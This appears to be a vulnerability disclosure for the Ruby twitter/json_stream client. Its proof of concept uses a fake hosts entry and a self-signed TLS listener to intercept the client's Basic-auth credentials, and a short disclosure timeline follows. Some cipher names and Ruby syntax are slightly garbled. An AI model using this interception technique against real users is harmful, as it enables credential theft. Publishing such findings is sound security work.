



```
# Add a fake DNS entry to /etc/hosts.
$ echo "127.0.0.1 stream.twitter.com" | sudo tee -a /etc/hosts

# Create a certificate.
$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

# Listen on port 443 with TLS enabled.
$ openssl s_server -key key.pem -cert cert.pem -accept 443

Using auto DH parameters
Using default temp ECDH parameters
ACCEPT
-----BEGIN SSL SESSION PARAMETERS-----
MFUCAgchqWCBALMAQAQDA6sOGLz/qVQTADQJ8uXiF6XcSPfNHmMvdyUyo
jA3j9mtGTmR0CkoAMGRTChnbgIKTx76qIEAEIQCGBAQBAAAA
-----END SSL SESSION PARAMETERS-----
Shared cipher: ECDCHE-ECDSA-AES256-GCM-SHA384;ECDHE-RSA-AES256-GCM-SHA384;ECDHE-ECDSA-CACHA20-POLY1305;ECDHE-RSA-CACHA20-POLY1305;DHE-RSA-CACHA20-POLY1305;ECDHE-ECDSA-AES256-GCM-SHA384;ECDHE-RSA-AES256-GCM-SHA384;DHE-RSA-CAMELLIA256-SHA256;ECCIPHER: ECDCHE-RSA-AES256-GCM-SHA384
Secure Renegotiation IS supported
GET /1.1/statuses/filter.json HTTP/1.1
Host: stream.twitter.com
Accept: */*
User-Agent: TwitterStream
Authorization: Basic VVNFKS5BTUU6OUZDKVVUEFTUldPUKQ=
```

```
require 'rubygems'
require 'twitter/json_stream'

EventMachine:run {
  stream = Twitter::JSONStream.connect(
    :path => '/1.1/statuses/filter.json',
    :auth => 'USERNAME:SECRETPASSWORD'
  )

  stream.each_item do |item|
  end

  stream.on_error do |message|
  end

  stream.on_max_reconnects do |timeout, retries|
  end

  stream.on_no_data do
  end
}
```

- 18/05/2020: Report sent to Vendor
- 24/08/2020: Coordinated disclosure deadline expired, no maintainer response

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